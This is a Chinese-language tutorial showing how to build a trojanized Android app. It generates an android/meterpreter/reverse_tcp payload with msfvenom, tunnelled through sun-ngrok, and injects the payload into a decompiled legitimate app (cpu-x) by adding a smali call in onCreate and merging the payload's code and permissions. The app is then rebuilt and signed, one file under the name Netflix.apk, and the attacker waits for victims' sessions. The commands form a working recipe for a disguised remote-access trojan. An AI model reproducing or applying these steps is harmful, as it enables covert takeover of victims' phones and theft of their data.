准备工作
kali linux
cpu-x.apk(载体)
m.apk msf生成的木马
step1:内网穿透
- 本人选择了sun-ngrok做内网穿透,最低10rmb。
1.注册并登录sun-ngrok官网
2.开通隧道
隧道协议tcp;名称随意;远程端口随意,本地端口随意
3.掏钱
4.下载ngrok客户端
5.解压并运行客户端1
./sunny clientid 隧道id #登录官网后在隧道管理中可以找到隧道id

- 至此内网穿透完成,掏钱就是快
step2:生成PAYLOAD
1 | msfvenom -p android/meterpreter/reverse_tcp LHOST=ip/域名 LPORT=监听端口号 -o 应用名.apk #LHOST填ngrok赠送的域名(去掉前面的tcp://) LPORT填写ngrok设置的远程端口 |

step3:反编译cpu-x.apk(载体)和 m.apk(PAYLOAD)
1 | apktool d m.apk |


step4:注入PAYLOAD
1.进入cpu-x文件夹,打开AndroidManifest.xml文件
2.搜索关键字Launch和Main找到所对应启动的smail文件,说白了就是找app启动文件路径
3.根据上图中的路径打开启动文件,搜索onCreat函数,找到bundle对象,换行添加启动PAYLOAD代码:1
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

4.将木马文件中的smali文件复制到载体smali文件夹中1
cp -r m/smali/* cpu-x/smali/com/
step5:增加权限
1.打开木马AndroidManifest.xml文件
复制以1
<uses-permission android:name=.......>
开头的所有代码按照格式复制到载体cpu-x的AndroidManifest.xml文件中,删除重复权限就ok
step6:回编译
1 | apktool b cpu-x |
- 回编译完成的apk文件在cpu-x/dist 文件夹中
step7:签名
生成KEYSTORE:1
keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 1024 -validity 22222
签名:1
jarsigner -keystore mykey.keystore Netflix.apk alias_name -sigalg MD5withRSA -digestalg SHA1
step8:测试
并打开msf控制台,设置好监听参数后,等待上线。
*LPORT是ngrok设置的端口